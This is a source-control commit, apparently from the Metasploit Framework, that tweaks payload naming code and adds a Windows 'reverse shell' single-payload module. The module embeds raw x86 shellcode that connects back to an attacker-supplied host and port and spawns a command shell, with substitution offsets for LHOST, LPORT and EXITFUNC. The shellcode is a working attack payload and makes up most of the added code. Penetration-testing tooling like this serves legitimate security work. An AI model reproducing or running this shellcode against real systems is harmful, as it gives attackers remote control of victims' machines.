implemented a single payload for grins, spoon will hate it

git-svn-id: file:///home/svn/incoming/trunk@2721 4d416f70-5f16-0410-b530-b9f4589650da

lib/msf/core/payload.rb

@@ -58,12 +58,12 @@ class Payload < Msf::Module
 
 	# Returns the raw payload that has not had variable substitution occur.
 	def payload
-		return module_info['Payload']
+		return module_info['Payload']['Payload']
 	end
 
 	# Returns the offsets to variables that must be substitute, if any.
 	def offsets
-		return module_info['Offsets']
+		return module_info['Payload']['Offsets']
 	end
 
 	# Return the connection associated with this payload, or none if there

lib/msf/core/payload_set.rb

@@ -46,6 +46,9 @@ class PayloadSet < ModuleSet
 			# and module
 			p = build_payload(handler, mod)
 
+			# If the handler has a type, append it
+			name += '/' + handler.handler_type if (handler)
+
 			# Sets the modules derived name
 			p.refname = name
 
@@ -93,7 +96,7 @@ class PayloadSet < ModuleSet
 				combined  = stage_name
 
 				# If a valid handler exists for this stager, then combine it
-				combined += '/' + handler.handler_type if (handler)
+				combined += '/staged/' + handler.handler_type if (handler)
 
 				# Sets the modules derived name
 				p.refname = combined

modules/payloads/singles/windows/shell.rb

@@ -0,0 +1,64 @@
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+module Msf
+module Payloads
+module Singles
+module Windows
+
+module Shell
+
+	include Msf::Payload::Windows
+	include Msf::Payload::Single
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Windows Reverse Shell',
+			'Alias'         => 'win32/shell',
+			'Version'       => '$Revision$',
+			'Description'   => 'Connect back to attacker and spawn a command shell',
+			'Author'        => 'vlad902',
+			'Platform'      => 'win',
+			'Arch'          => ARCH_IA32,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Payload'       =>
+				{
+					'Offsets' =>
+						{
+							'LPORT'    => [ 166, 'n'    ],
+							'LHOST'    => [ 160, 'ADDR' ],
+							'EXITFUNC' => [ 278, 'V'    ],
+						},
+					'Payload' =>
+						"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c" +
+						"\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" +
+						"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" +
+						"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" +
+						"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" +
+						"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" +
+						"\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
+						"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" +
+						"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53" +
+						"\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" +
+						"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66" +
+						"\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" +
+						"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43" +
+						"\x53\xff\xd0\x68\xff\xff\xff\xff\x66\x68\x11\x5c" +
+						"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff" +
+						"\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" +
+						"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" +
+						"\xe2\x31\xc0\xf3\xaa\x95\x89\xfd\xfe\x42\x2d\xfe" +
+						"\x42\x2c\x8d\x7a\x38\xab\xab\xab\x68\x72\xfe\xb3" +
+						"\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" +
+						"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
+						"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7" +
+						"\x79\xc6\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff" +
+						"\xd0\x68\x7e\xd8\xe2\x73\x53\xff\xd6\xff\xd0"
+
+				}
+			))
+	end
+
+end
+
+end end end end